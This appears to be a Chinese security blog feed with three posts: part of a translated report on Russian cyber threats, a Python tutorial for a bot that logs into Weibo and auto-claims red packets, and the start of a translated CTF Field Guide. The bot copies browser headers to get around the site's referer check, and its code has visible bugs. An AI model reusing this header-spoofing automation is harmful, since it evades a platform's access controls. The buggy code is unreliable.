在约束网络犯罪方面,俄罗斯的政府领导几乎起不到帮助作用。一直到最近,由于俄罗斯本土的受害者并不多,而且有限的资源迫使官方主要将注意力集中在了反恐方面,使得关心网络犯罪的群体异常稀少。这一情形随着俄罗斯公民受到的网络攻击逐渐增长而开始缓慢的改变。贪污腐败也是一大问题,而且还受到上述资源的限制。私人企业,尤其是大型的网络服务提供商(ISP),开始合作应对网络犯罪问题,但是前路还很漫长。

由于其自身产出一些期刊文献,以及部分文化习俗的原因,俄罗斯网络犯罪地下组织处于一个非常复杂的地位。“俄罗斯”黑客已然成为了一种刻板印象,但这些印象中,也存在着一些共通点。俄罗斯内务部网络犯罪部门(K部门“Department K”)的中将Boris Miroshnikov在发表关于称赞俄罗斯黑客的内容时说道,“世界上最好的黑客在俄罗斯”,这也反映出俄罗斯的确有很多天才的黑客存在。此外,与其他国家和地区相比,俄罗斯黑客受到法律制裁的压力更小。因此,西方公司想要在俄罗斯正常的运营就必须要能够在各种无情的网络威胁之下确保自身安全。

二、网络威胁模型

图2-1显示了对俄罗斯所有主要的网络威胁一个近似的评估,依照每种威胁发生的可能性和潜在的影响进行排列。尽管对于某些类型进行公平可靠的统计是可行的,但是并不一定对其他类型也同样适用。因此,部分网络威胁类型的评估是不精确的,而是借鉴了其他多重的可靠数据、独立事件信息和iDefense的实地研究得来的。

图2-1

图2-1: 俄罗斯网络安全威胁模型;Y轴表示发生的可能性,X轴表示重要性既可能影响的范围

  • 网络钓鱼——俄罗斯是全世界钓鱼攻击的主要发源地,而其国内诸如网上银行和其他金融交易服务(如电子货币)等方面也正在受到越来越多的网络钓鱼关注。
  • 贪污腐败——贪污腐败,尤其是政府的官僚主义现象在俄罗斯非常普遍。从网络安全角度来看,罪犯的确可能通过贿赂官员来得到法律保护,但是这要视情况而定,尤其是在高风险的时候往往无法达成。
  • 信用卡犯罪——俄罗斯进行信用卡欺诈犯罪的人非常活跃,并且目标分布在全世界范围。在国内,信用卡犯罪时有发生但并不是主要的问题。
  • ATM犯罪——在俄罗斯,由于城市外的ATM的增加以及一些机构使用预付费的信用卡来分发工资的原因,窃取信用卡信息的行为日益增加。此外,在俄罗斯,罪犯还能很轻易的直接从ATM获取到信用卡。
  • 僵尸网络感染-俄罗斯是僵尸网络的核心区域,尽管国际上的受害者要超过俄罗斯本土,但是其国内的受感染者正在增长。
  • 数据偷窃——商业间谍和竞争公司之间的数据偷窃行为属于中等风险。
  • 恶意代码——俄罗斯是全世界恶意代码的主要发源地区,和其他种类的网络犯罪相比,国内的恶意代码比率相对较少但是也正在逐渐增长之中。
  • 内部威胁——俄罗斯的内部威胁风险属于中-高级别,主要风险集中在新进员工身上。
  • 盗版——个人用户使用盗版软件和多媒体内容是很普遍的,而政府和企业使用非法软件的频率相对较少。
  • 黑客行为-在俄罗斯,在线的个人和政治动机的攻击是非常普遍的,主要的典型行为表现在分布式拒绝服务攻击上(DDoS)。
  • DDoS攻击——俄罗斯是DDoS攻击的核心区域,国内的攻击频率远超针对欧美和国际上的攻击行为。
  • 服务中断和数据丢失——主要城市的基础服务设施是相对比较可靠的,部分组织有非常小的可能会因为俄罗斯政府急于扩张对于互联网的控制权而无意中被置为非可信区从而被迫暂停服务。
  • 网络间谍——如果一个组织持有重量级的信息或技术,那么他有可能被那些俄罗斯政府支持的个人或机构盯上。俄罗斯政府和前苏联的敌对商业机构也很可能参与到间谍行为中来,甚至有一定可能参与到网络攻击中去。    
  • 网络恐怖主义——从技术角度来看,网络恐怖主义对于俄罗斯政府来说不是威胁。然而,高加索(俄罗斯南部地区)穆斯林极端恐怖分子开始尝试在线的攻击行动,并表示有意愿去提高他们的攻击能力。

原稿全文下载:《The Cyber Threat Landscape of the Russian Federation》

译稿全文下载:《俄罗斯网络威胁概览》

(全文完)

年末致富有新招,写个程序抓红包

$
0
0

0x00背景

大家好,我是来自IDF实验室的@无所不能的魂大人

红包纷纷何所似?兄子胡儿曰:“撒钱空中差可拟。”兄女道韫曰:“未若姨妈因风起。”

背景大家都懂的,要过年了,正是红包满天飞的日子。正巧前两天学会了Python,比较亢奋,就顺便研究了研究微博红包的爬取,为什么是微博红包而不是支付宝红包呢,因为我只懂Web,如果有精力的话之后可能也会研究研究打地鼠算法吧。

因为本人是初学Python,这个程序也是学了Python后写的第三个程序,所以代码中有啥坑爹的地方请不要当面戳穿,重点是思路,嗯,如果思路中有啥坑爹的的地方也请不要当面戳穿,你看IE都有脸设置自己为默认浏览器,我写篇渣文得瑟得瑟也是可以接受的对吧……

我用的是Python 2.7,据说Python 2和Python 3差别挺大的,比我还菜的小伙伴请注意。

0x01 思路整理

懒得文字叙述了,画了张草图,大家应该可以看懂。

envelope 01

首先老规矩,先引入一坨不知道有啥用但又不能没有的库:

import re
import urllib
import urllib2
import cookielib
import base64 
import binascii 
import os
import json
import sys 
import cPickle as p
import rsa

然后顺便声明一些其它变量,以后需要用到:

reload(sys)
sys.setdefaultencoding('utf-8') #将字符编码置为utf-8
luckyList=[] #红包列表
lowest=10 #能忍受红包领奖记录最低为多少

这里用到了一个rsa库,Python默认是不自带的,需要安装一下:https://pypi.python.org/pypi/rsa/

下载下来后运行setpy.py install安装,然后就可以开始我们的开发步骤了。

0x02 微博登陆

抢红包的动作一定要登陆后才可以进行的,所以一定要有登录的功能,登录不是关键,关键是cookie的保存,这里需要cookielib的配合。

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

这样凡是使用opener进行的网络操作都会对处理cookie的状态,虽然我也不太懂但是感觉好神奇的样子。

接下来需要封装两个模块,一个是获取数据模块,用来单纯地GET数据,另一个用来POST数据,其实只是多了几个参数,完全可以合并成一个函数,但是我又懒又笨,不想也不会改代码。

def getData(url) :
        try:
                req  = urllib2.Request(url)
                result = opener.open(req)
                text = result.read()
                text=text.decode("utf-8").encode("gbk",'ignore')
                return text
        except Exception, e:
                print u'请求异常,url:'+url
                print e

def postData(url,data,header) :
        try:
                data = urllib.urlencode(data)  
                req  = urllib2.Request(url,data,header)
                result = opener.open(req)
                text = result.read()
                return text
        except Exception, e:
                print u'请求异常,url:'+url

有了这两个模块我们就可以GET和POST数据了,其中getData中之所以decode然后又encode啥啥的,是因为在Win7下我调试输出的时候总乱码,所以加了些编码处理,这些都不是重点,下面的login函数才是微博登陆的核心。

def login(nick , pwd) :
        print u"----------登录中----------"
        print  "----------......----------"
        prelogin_url = 'http://login.sina.com.cn/sso/prelogin.php?entry=weibo&callback=sinaSSOController.preloginCallBack&su=%s&rsakt=mod&checkpin=1&client=ssologin.js(v1.4.15)&_=1400822309846' % nick
        preLogin = getData(prelogin_url)
        servertime = re.findall('"servertime":(.+?),' , preLogin)[0]
        pubkey = re.findall('"pubkey":"(.+?)",' , preLogin)[0]
        rsakv = re.findall('"rsakv":"(.+?)",' , preLogin)[0]
        nonce = re.findall('"nonce":"(.+?)",' , preLogin)[0]
        #print bytearray('xxxx','utf-8')
        su  = base64.b64encode(urllib.quote(nick))
        rsaPublickey= int(pubkey,16)
        key = rsa.PublicKey(rsaPublickey,65537)
        message = str(servertime) +'\t' + str(nonce) + '\n' + str(pwd)
        sp = binascii.b2a_hex(rsa.encrypt(message,key))
        header = {'User-Agent' : 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'}
        param = {
                'entry': 'weibo',
                'gateway': '1',
                'from': '',
                'savestate': '7',
                'userticket': '1',
                'ssosimplelogin': '1',
                'vsnf': '1',
                'vsnval': '',
                'su': su,
                'service': 'miniblog',
                'servertime': servertime,
                'nonce': nonce,
                'pwencode': 'rsa2',
                'sp': sp,
                'encoding': 'UTF-8',
                'url': 'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',
                'returntype': 'META',
                'rsakv' : rsakv,
                }
        s = postData('http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.15)',param,header)

        try:
                urll = re.findall("location.replace\(\'(.+?)\'\);" , s)[0]
                login=getData(urll)
                print u"---------登录成功!-------"
                print  "----------......----------"
        except Exception, e:
                print u"---------登录失败!-------"
                print  "----------......----------"
                exit(0)

这里面的参数啊加密算法啊都是从网上抄的,我也不是很懂,大概就是先请求个时间戳和公钥再rsa加密一下最后处理处理提交到新浪登陆接口,从新浪登录成功之后会返回一个微博的地址,需要请求一下,才能让登录状态彻底生效,登录成功后,后面的请求就会带上当前用户的cookie。

0x03 指定红包抽取

成功登录微博后,我已迫不及待地想找个红包先试一下子,当然首先是要在浏览器里试的。点啊点啊点啊点的,终于找到了一个带抢红包按钮的页面了,F12召唤出调试器,看看数据包是咋请求的。

envelope 02

可以看到请求的地址是http://huodong.weibo.com/aj_hongbao/getlucky,主要参数有两个,一个是ouid,就是红包id,在URL中可以看到,另一个share参数决定是否分享到微博,还有个_t不知道是干啥用的。

好,现在理论上向这个url提交者三个参数,就可以完成一次红包的抽取,但是,当你真正提交参数的时候,就会发现服务器会很神奇地给你返回这么个串:

{"code":303403,"msg":"抱歉,你没有权限访问此页面","data":[]}

这个时候不要惊慌,根据我多年Web开发经验,对方的程序员应该是判断referer了,很简单,把请求过去的header全给抄过去。

def getLucky(id): #抽奖程序
        print u"---抽红包中:"+str(id)+"---"
        print  "----------......----------"

        if checkValue(id)==False: #不符合条件,这个是后面的函数
                return
        luckyUrl="http://huodong.weibo.com/aj_hongbao/getlucky"
        param={
                'ouid':id,
                'share':0,
                '_t':0
                }

        header= {
                'Cache-Control':'no-cache',
                'Content-Type':'application/x-www-form-urlencoded',
                'Origin':'http://huodong.weibo.com',
                'Pragma':'no-cache',
                'Referer':'http://huodong.weibo.com/hongbao/'+str(id),
                'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 BIDUBrowser/6.x Safari/537.36',
                'X-Requested-With':'XMLHttpRequest'
                }
        res = postData(luckyUrl,param,header)

这样的话理论上就没啥问题了,事实上其实也没啥问题。抽奖动作完成后我们是需要判断状态的,返回的res是一个json串,其中code为100000时为成功,为90114时是今天抽奖达到上限,其他值同样是失败,所以:

hbRes=json.loads(res)
if hbRes["code"]=='901114': #今天红包已经抢完
        print u"---------已达上限---------"
        print  "----------......----------"
        log('lucky',str(id)+'---'+str(hbRes["code"])+'---'+hbRes["data"]["title"])
        exit(0)
elif hbRes["code"]=='100000':#成功
        print u"---------恭喜发财---------"
        print  "----------......----------"
        log('success',str(id)+'---'+res)
        exit(0)

if hbRes["data"] and hbRes["data"]["title"]:
        print hbRes["data"]["title"]
        print  "----------......----------"
        log('lucky',str(id)+'---'+str(hbRes["code"])+'---'+hbRes["data"]["title"])
else:
        print u"---------请求错误---------"
        print  "----------......----------"
        log('lucky',str(id)+'---'+res)

其中log也是我自定义的一个函数,用来记录日志用的:

def log(type,text):
        fp = open(type+'.txt','a')
        fp.write(text)
        fp.write('\r\n')
        fp.close()

0x04 爬取红包列表

单个红包领取动作测试成功后,就是我们程序的核心大招模块了——爬取红包列表,爬取红包列表的方法和入口应该有不少,比如各种微博搜索关键字啥啥的,不过我这里用最简单的方法:爬取红包榜单。

在红包活动的首页(http://huodong.weibo.com/hongbao)通过各种点更多,全部可以观察到,虽然列表连接很多,但可以归纳为两类(最有钱红包榜除外):主题和排行榜。

继续召唤F12,分析这两种页面的格式,首先是主题形式的列表,比如:http://huodong.weibo.com/hongbao/special_quyu

envelope 03

可以看到红包的信息都是在一个类名为info_wrap的div中,那么我们只要活动这个页面的源码,然后把infowrap全抓出来,再简单处理下就可以得到这个页面的红包列表了,这里需要用到一些正则:

def getThemeList(url,p):#主题红包
        print  u"---------第"+str(p)+"页---------"
        print  "----------......----------"
        html=getData(url+'?p='+str(p))
        pWrap=re.compile(r'<div class="info_wrap">(.+?)<span class="rob_txt"></span>',re.DOTALL) #h获取所有info_wrap的正则
        pInfo=re.compile(r'.+<em class="num">(.+)</em>.+<em class="num">(.+)</em>.+<em class="num">(.+)</em>.+href="(.+)" class="btn"',re.DOTALL) #获取红包信息
        List=pWrap.findall(html,re.DOTALL)
        n=len(List)
        if n==0:
                return
        for i in range(n): #遍历所有info_wrap的div
                s=pInfo.match(List[i]) #取得红包信息
                info=list(s.groups(0))
                info[0]=float(info[0].replace('\xcd\xf2','0000')) #现金,万->0000
                try:
                        info[1]=float(info[1].replace('\xcd\xf2','0000')) #礼品价值
                except Exception, e:
                        info[1]=float(info[1].replace('\xd2\xda','00000000')) #礼品价值
                info[2]=float(info[2].replace('\xcd\xf2','0000')) #已发送
                if info[2]==0:
                        info[2]=1 #防止除数为0
                if info[1]==0:
                        info[1]=1 #防止除数为0
                info.append(info[0]/(info[2]+info[1])) #红包价值,现金/(领取人数+奖品价值)
                # if info[0]/(info[2]+info[1])>100:
                #  print url
                luckyList.append(info)
        if 'class="page"' in html:#存在下一页
                p=p+1
                getThemeList(url,p) #递归调用自己爬取下一页

话说正则好难,学了好久才写出来这么两句。还有这里的info中append进去了一个info[4],是我想的一个大概判断红包价值的算法,为什么要这么做呢,因为红包很多但是我们只能抽四次啊,在茫茫包海中,我们必须要找到最有价值的红包然后抽丫的,这里有三个数据可供参考:现金价值、礼品价值和领取人数,很显然如果现金很少领取人数很多或者奖品价值超高(有的甚至丧心病狂以亿为单位),那么就是不值得去抢的,所以我憋了半天终于憋出来一个衡量红包权重的算法:红包价值=现金/(领取人数+奖品价值)。

排行榜页面原理一样,找到关键的标签,正则匹配出来。

envelope 04

def getTopList(url,daily,p):#排行榜红包
        print  u"---------第"+str(p)+"页---------"
        print  "----------......----------"
        html=getData(url+'?daily='+str(daily)+'&p='+str(p))
        pWrap=re.compile(r'<div class="list_info">(.+?)<span class="list_btn"></span>',re.DOTALL) #h获取所有list_info的正则
        pInfo=re.compile(r'.+<em class="num">(.+)</em>.+<em class="num">(.+)</em>.+<em class="num">(.+)</em>.+href="(.+)" class="btn rob_btn"',re.DOTALL) #获取红包信息
        List=pWrap.findall(html,re.DOTALL)
        n=len(List)
        if n==0:
                return
        for i in range(n): #遍历所有info_wrap的div
                s=pInfo.match(List[i]) #取得红包信息
                topinfo=list(s.groups(0))
                info=list(topinfo)
                info[0]=topinfo[1].replace('\xd4\xaa','') #元->''
                info[0]=float(info[0].replace('\xcd\xf2','0000')) #现金,万->0000
                info[1]=topinfo[2].replace('\xd4\xaa','') #元->''
                try:
                        info[1]=float(info[1].replace('\xcd\xf2','0000')) #礼品价值
                except Exception, e:
                        info[1]=float(info[1].replace('\xd2\xda','00000000')) #礼品价值
                info[2]=topinfo[0].replace('\xb8\xf6','') #个->''
                info[2]=float(info[2].replace('\xcd\xf2','0000')) #已发送
                if info[2]==0:
                        info[2]=1 #防止除数为0
                if info[1]==0:
                        info[1]=1 #防止除数为0
                info.append(info[0]/(info[2]+info[1])) #红包价值,现金/(领取人数+礼品价值)
                # if info[0]/(info[2]+info[1])>100:
                        #  print url
                luckyList.append(info)
        if 'class="page"' in html:#存在下一页
                p=p+1
                getTopList(url,daily,p) #递归调用自己爬取下一页

好,现在两中专题页的列表我们都可以顺利爬取了,接下来就是要得到列表的列表,也就是所有这些列表地址的集合,然后挨个去抓:

def getList():
        print u"---------查找目标---------"
        print  "----------......----------"

        themeUrl={ #主题列表
                'theme':'http://huodong.weibo.com/hongbao/theme',
                'pinpai':'http://huodong.weibo.com/hongbao/special_pinpai',
                'daka':'http://huodong.weibo.com/hongbao/special_daka',
                'youxuan':'http://huodong.weibo.com/hongbao/special_youxuan',
                'qiye':'http://huodong.weibo.com/hongbao/special_qiye',
                'quyu':'http://huodong.weibo.com/hongbao/special_quyu',
                'meiti':'http://huodong.weibo.com/hongbao/special_meiti',
                'hezuo':'http://huodong.weibo.com/hongbao/special_hezuo'
                }

        topUrl={ #排行榜列表
                'mostmoney':'http://huodong.weibo.com/hongbao/top_mostmoney',
                'mostsend':'http://huodong.weibo.com/hongbao/top_mostsend',
                'mostsenddaka':'http://huodong.weibo.com/hongbao/top_mostsenddaka',
                'mostsendpartner':'http://huodong.weibo.com/hongbao/top_mostsendpartner',
                'cate':'http://huodong.weibo.com/hongbao/cate?type=',
                'clothes':'http://huodong.weibo.com/hongbao/cate?type=clothes',
                'beauty':'http://huodong.weibo.com/hongbao/cate?type=beauty',
                'fast':'http://huodong.weibo.com/hongbao/cate?type=fast',
                'life':'http://huodong.weibo.com/hongbao/cate?type=life',
                'digital':'http://huodong.weibo.com/hongbao/cate?type=digital',
                'other':'http://huodong.weibo.com/hongbao/cate?type=other'
                }

        for (theme,url) in themeUrl.items():
                print "----------"+theme+"----------"
                print  url
                print  "----------......----------"
                getThemeList(url,1)

        for (top,url) in topUrl.items():
                print "----------"+top+"----------"
                print  url
                print  "----------......----------"
                getTopList(url,0,1) 
                getTopList(url,1,1)

0x05 判断红包可用性

这个是比较简单的,首先在源码里搜一下关键字看看有没有抢红包按钮,然后再到领取排行里面看看最高纪录是多少,要是最多的才领那么几块钱的话就再见吧……

其中查看领取记录的地址为http://huodong.weibo.com/aj_hongbao/detailmore?page=1&type=2&_t=0&__rnd=1423744829265&uid=红包id

envelope 05

def checkValue(id):
        infoUrl='http://huodong.weibo.com/hongbao/'+str(id)
        html=getData(infoUrl)

        if 'action-type="lottery"' in  html or True: #存在抢红包按钮
                logUrl="http://huodong.weibo.com/aj_hongbao/detailmore?page=1&type=2&_t=0&__rnd=1423744829265&uid="+id #查看排行榜数据
                param={}
                header= {
                        'Cache-Control':'no-cache',
                        'Content-Type':'application/x-www-form-urlencoded',
                        'Pragma':'no-cache',
                        'Referer':'http://huodong.weibo.com/hongbao/detail?uid='+str(id),
                        'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 BIDUBrowser/6.x Safari/537.36',
                        'X-Requested-With':'XMLHttpRequest'
                        }
                res = postData(logUrl,param,header)
                pMoney=re.compile(r'<span class="money">(\d+?.+?)\xd4\xaa</span>',re.DOTALL) #h获取所有list_info的正则
                luckyLog=pMoney.findall(html,re.DOTALL)

                if len(luckyLog)==0:
                        maxMoney=0
                else:
                        maxMoney=float(luckyLog[0])

                if maxMoney<lowest: #记录中最大红包小于设定值
                        return False
        else:
                print u"---------手慢一步---------"
                print  "----------......----------"
                return False
        return True

0x06 收尾工作

主要的模块都已经搞定,现在需要将所有的步骤串联起来:

def start(username,password,low,fromFile):
        gl=False
        lowest=low
        login(username , password)
        if fromfile=='y':
                if os.path.exists('luckyList.txt'):
                        try:
                                f = file('luckyList.txt')
                                newList = []  
                                newList = p.load(f)
                                print u'---------装载列表---------'
                                print  "----------......----------"
                        except Exception, e:
                                print u'解析本地列表失败,抓取在线页面。'
                                print  "----------......----------"
                                gl=True
                else:
                        print u'本地不存在luckyList.txt,抓取在线页面。'
                        print  "----------......----------"
                        gl=True
        if gl==True:
                getList()
                from operator import itemgetter
                newList=sorted(luckyList, key=itemgetter(4),reverse=True)
                f = file('luckyList.txt', 'w')  
                p.dump(newList, f) #把抓到的列表存到文件里,下次就不用再抓了
                f.close() 

        for lucky in newList:
                if not 'http://huodong.weibo.com' in lucky[3]: #不是红包
                        continue
                print lucky[3]
                id=re.findall(r'(\w*[0-9]+)\w*',lucky[3])
                getLucky(id[0])

因为每次测试的时候都要重复爬取红包列表,很麻烦,所以加了段将完整列表dump到文件的代码,这样以后就可以读本地列表然后抢红包了,构造完start模块后,写一个入口程序把微博账号传过去就OK了:

if __name__ == "__main__":  
        print u"------------------微博红包助手------------------"
        print  "---------------------v0.0.1---------------------"
        print  u"-------------by @无所不能的魂大人----------------"
        print  "-------------------------------------------------"

        try:
                uname=raw_input(u"请输入微博账号: ".decode('utf-8').encode('gbk'))
                pwd=raw_input(u"请输入微博密码: ".decode('utf-8').encode('gbk'))
                low=int(raw_input(u"红包领取最高现金大于n时参与: ".decode('utf-8').encode('gbk')))
                fromfile=raw_input(u"是否使用luckyList.txt中红包列表:(y/n) ".decode('utf-8').encode('gbk'))
        except Exception, e:
                print u"参数错误"
                print  "----------......----------"
                print e
                exit(0)

        print u"---------程序开始---------"
        print  "----------......----------"
        start(uname,pwd,low,fromfile)
        print u"---------程序结束---------"
        print  "----------......----------"
        os.system('pause')

0x07 走你!

envelope 06envelope 07

0x07 总结

基本的爬虫骨架已经基本可以完成了,其实这个爬虫的很多细节上还是有很大发挥空间的,比如改装成支持批量登录的,比如优化下红包价值算法,代码本身应该也有很多地方可以优化的,不过以我的能力估计也就能搞到这了。

最后程序的结果大家都看到了,我写了几百行代码,几千字的文章,辛辛苦苦换来的只是一组双色球,尼玛坑爹啊,怎么会是双色球呢!!!(旁白:作者越说越激动,居然哭了起来,周围人纷纷劝说:兄弟,不至于的,不就是个微博红包么,昨天手都撸酸了也没摇出个微信红包。)唉,其实我不是哭这个,我难过的是我已经二十多岁了,还在做写程序抓微博红包这么无聊的事情,这根本不是我想要的人生啊!

源码下载:weibo_hb.rar

(全文完)

CTF领域指南

$
0
0

原文:https://trailofbits.github.io/ctf/

翻译:做个好人

译者声明:本文翻译自美国trailofbits团队发布在Github上的《CTF Field Guide》手册,我们已与对方联系获得翻译授权,由于手册内容尚在更新过程中,故有部分缺失。如有翻译不当之处,请与我们联系更正:@IDF实验室。

“Knowing is not enough; we must apply. Willing is not enough; we must do.” (仅仅知道还不够,我们必须付诸实践。仅有意愿还不够,我们必须付诸行动。)

—— Johann Wolfgang von Goethe

欢迎!

很高兴你能来到这里,我们需要更多的像你这样的人。

如果你想拥有一种能够自我防卫的生活,那就必须像攻击者那样思考。

所以,学学如何在夺旗比赛(CTF)中赢得比赛吧,这种比赛将专业的计算机安全活动规则进行了浓缩,且具有可客观评判的挑战题。CTF比赛趋向关注的主要领域是漏洞挖掘、漏洞利用程序构建、工具箱构建和可实施的谍报技术(tradecraft)。

无论你想赢得CTF比赛,还是想成为一名计算机安全专家,都至少需要擅长这些方面中的其中之一,理想情况下需要擅长所有这些领域。

这就是我们编写此手册的目的。

在这些章节中,你会找到赢得下一次CTF比赛的一切要素:

  • 以往CTF挑战赛的题目的查看和研究

  • 帮助你设计和构建属于自己工具集的引导

  • 包括现实世界中的和以往CTF比赛中的攻击者行为案例研究;

为了让你更好过一些,我们在每节课程中补充了互联网上最好的配套参考资料,这些资料来自于一些计算机安全领域最好的人员之手。更进一步,我们希望你能够将此手册与实际工作结合起来使用。

我们编写该手册是为了帮助你能够尽可能地快速学习,如果在学习过程中有任何问题,请与我们联系,我们将把你的问题转达给最合适的专家。如果有足够的需要,我们甚至可以安排一节线上课程。

现在,让我们开始吧。

一、夺旗比赛

为什么选择CTF?

计算机安全因其跨领域的特性在人才教育方面提出了一个挑战。计算机安全的课题领域的分布从计算机科学理论方面到信息技术管理方面的应用,这样很难简短概括计算机安全专业的灵魂是什么。

评估这种专业性的一种近似方法已经出现:“夺旗”比赛。攻击为导向的CTF比赛尝试将专业计算机安全工作许多方面的本质浓缩为可客观评估的简短挑战题目。CTF比赛趋向于关注的领域包括漏洞挖掘、漏洞利用程序构建、工具箱构建和可实施的谍报技术(tradecraft)。

一个现代的计算机安全专家应该至少其中一个领域的专家,理想情况下应该擅长所有这些内容。在CTF比赛中赢得胜利要求参赛选手在所有这些领域中至少是其中一方面的专家。所以,准备和参与CTF比赛是一种有效将计算机科学的离散面聚合、聚焦于计算机安全领域的方法。

1.1、找一场CTF

如果曾经你想开始练习跑步,那么可能你是将5000米作为一个目标。同样的原则在这里也适用:选择一个在不久之后你想要参加的一场CTF比赛,并设定一个练习计划。下面是我们推荐的一些CTF比赛:

访问CTF TimeCapCTF calendar可以看到一年中每个星期都在发生的更多、更全的CTF比赛。

Wargame有什么不同?

除了持续进行之外,Wargame和CTF很相似。典型的情况是,Wargame题目被组织为许多级别,并随着被解决题目的增多而逐渐变难。Wargame是为CTF进行练习的绝佳方式!以下是我们最喜欢的一些Wargame站点:

CCDC怎么样?

有一些仅做防御的比赛也将自己看作是CTF比赛,主要是高校网络防御挑战赛(CCDC,Collegiate Cyber Defense Challenge)及其地区比赛,我们的建议是你应该无视这些比赛。无奈的是它们的题目都是不切实际的题目,很少会教授你和安全相关的内容。虽然他们乐此不疲的将自己作为红队(Red Team)看待!

1.2、找一份工作

职业列表

[编辑注:这是为pentest.cryptocity.net编写的一篇较老的文章,我们正在更新过程中。]

以下这些是基于我已有的经验和你情况的不同而写的对于信息安全职业生涯的看法。如果你住在纽约市,而且对于应用安全、渗透测试或逆向工程感兴趣,刚刚踏入信息安全领域开始你的职业生涯,那么以下信息会对你非常适合。

  1. 雇主

  2. 角色

  3. 书本中学习

  4. 课程中学习

  5. 大学

  6. CTF比赛

  7. 沟通

  8. 见人

  9. 会议

  10. 认证

  11. 链接

  12. 指引的朋友

​雇主

就我可讲的而言,在信息安全产业有五类主要的雇主(不计学院派)。

  • 政府

  • 非技术型财富500强(大多数是金融类)

  • 大型技术供应商(大多数是在西海岸)

  • 大型咨询公司(大多数非技术企业)

  • 小型咨询公司(大多数很酷)

你所工作的产业决定了你需要解决的主要问题。例如,金融行业重点强调的是对于商业过程将风险降低到最低损失(大规模自动化的原因)。另一方面,咨询常常意味着向人们销售想法X,X实际上就是一个漏洞或研究发现新的漏洞。

角色

我主要将信息安全职位分离对应到互联网网络安全、产品安全和咨询。进一步我将这些类型的工作分类为以下几个角色:

  • 应用安全(代码审计/应用评估)

  • 攻击者(攻击)

  • 合规性

  • 电子取证

  • 事件处理

  • 管理者

  • 网络安全工程师

  • 渗透测试

  • 政策/策略

  • 研究员

  • 逆向工程师

  • 安全架构师

​以上的每一个角色都要求有不同的、高专业性的知识面。这个站点对于应用安全和渗透测试是一个不错的资源,但是如果你对其他角色感兴趣就需要找其他资源。

书本中学习

幸运的是,关于每个信息安全方面的主题都有一打好书。Dino Dai ZoviTom Ptacek都有绝佳的读书列表。我们建议阅读以下图书:

如果你不知道自己在找什么书,那么可以访问O'Reilly提供的书单。他们可能是这个产业中最执着和最高质的图书出版商了。

别忘了,单纯的读书不会给予你超越谈资之外的任何附加技能,你需要练习或基于你从书本中实际学到和理解的内容创造一些东西。

课程中学习

如果你在找一些可以随手拿来和直接了当的东西,那么有许多在线的大学课程是关于信息安全的。我在下方列出了一些绝佳的课程资源(根据机构名称排序)。RPI课程是和这些课程最相似的一个,Hovav可以通过最佳学术阅读列表的内容获得绩点,但是列表中的每个课程都很出色。

[编辑注:表格待添加/之后更新。]

大学

找到一所有专业安全课程大学的最容易和简单的办法是通过NSA Centers of Academic Execllence(NSA-COE)机构列表。这个资质要求正逐渐放低以至于越来越多的大学已经获得此资质,它也可以帮助你寻找那些刚刚获得COE-CO资质的单位。记住,资质仅供参考。你需要深入了解每所大学实际的课程,而不是仅依靠资质做选择。

一旦进入大学,要上那些能够强迫你编写大量代码解决难题的课程。IMHO的课程聚焦于理论或提供有限价值的模拟问题。如果你无法从整个CS课程表中确定哪些是有编程内容的CS课程,那么就向学长征求意见。另一种达成此项目的的方式是报考学校的软件开发专业而不是计算机科学专业。

夺旗比赛

如果你想获得和学到技能技巧,且想要做地更快,那么应该参加CTF比赛或一头扎进Wargame。值得注意的一点是许多这种挑战赛都有附加的会议(各种规模),参加这些比赛就意味着会错过整个会议。试着不要赛过头,因为参加会议有参加会议的好处(见下文)。

有一些仅做防御的比赛也将自己定位为CTF比赛,主要是高校网络防御挑战赛(CCDC)及其地区比赛,我的建议是无视它们。他们的题目是关于系统管理,很少会教你安全相关的内容。尽管他们乐此不疲地将自己看作是红队(Red Team)。

沟通

在任何角色中,你的时间都主要花费在与其他人的沟通上,主要通过Email和会议,少量是通过电话和即时通讯(IM)。雇主的角色决定了你是否需要和内部安全团队、非安全技术人员或商业用户接触更多。例如,如果你在金融公司做网络安全工作,那么就需要和内部技术人员沟通更多。

在大型组织中做好沟通的建议:

  • 学习写简洁、明了、专业的邮件。

  • 学习让事情有组织地被解决。不要随心所欲。

  • 学习公司或客户的商业内容。如果你从商业层面考虑,你的选择就有a)不做任何事 b)解决事情 和c)考虑时间和成本更有说服力做事。

  • 学习你所在公司或客户是怎样工作的,比如关键人物、过程或其他能够让事情达成的激励因素。

​如果你仍然在学校学习CS课程,参加人文类课程会强迫你写东西。

见人

找到并参加你所在城市的安全聚会(CitySec),在大多数城市每个月都会有一次没有演讲的非正式会面。顺道提一句,我们参加的是我们本地的NYSEC

ISSA和ISC2关注于政策、合规性和其他新兴且不确定的话题。类似的,InfraGard主要关注在非技术性法律执行方面的话题。OWASP是由厂商发起形成的活动中最糟糕的例子,与其说它是和技术相关,不如说是和销售相关。

会议

如果你此前从来没参加过信息安全会议,使用下面的Google日历可以帮你找到一个低消费的本地会议。我的学生中有人认为参加一场会议是某种测验,所以尽可能地推脱不去。我保证我不会带着期末测验从灌木丛中跳出来,并在事后扣你的分数。

如果你参加一场会议,不要太看重每个时间段的会谈。会谈只是吸引所有聪明的黑客在某个周末聚集到一个角落的诱饵:你应该见见其他与会者!如果一个特别的会谈非常有意思和有用,那么你应该和演讲者进行互动。关于这个主题,Shawn Moyer在Defcon嘉宾角的这篇文章中有更多描述。

如果你在某个地方工作,并焦虑着如何向公司交代出席会议的事情,那么Infosec Leaders blog中有一些有用的建议。

认证

这个产业需要特别的知识和技巧,为了认证考试而学习不会对你的知识和技能有任何帮助。事实上,在很多情况下它还有坏处,因为你花费时间学习认证考试而导致你分心无法做该手册中提到的事情。

即便如此,有一些便宜的和中立厂商的认证可以在你当前阶段帮助你突出你的简历,例如Network+Security+或者甚至一个NOP,但是我认为认证在你找工作或专业发展中起不到什么作用。

通常,有两种原因需要获得认证:

  • 你已经支付认证的费用,通过支付培训和考试或有时候在你获得认证之后会自动支付费用(通常是政府认证)。

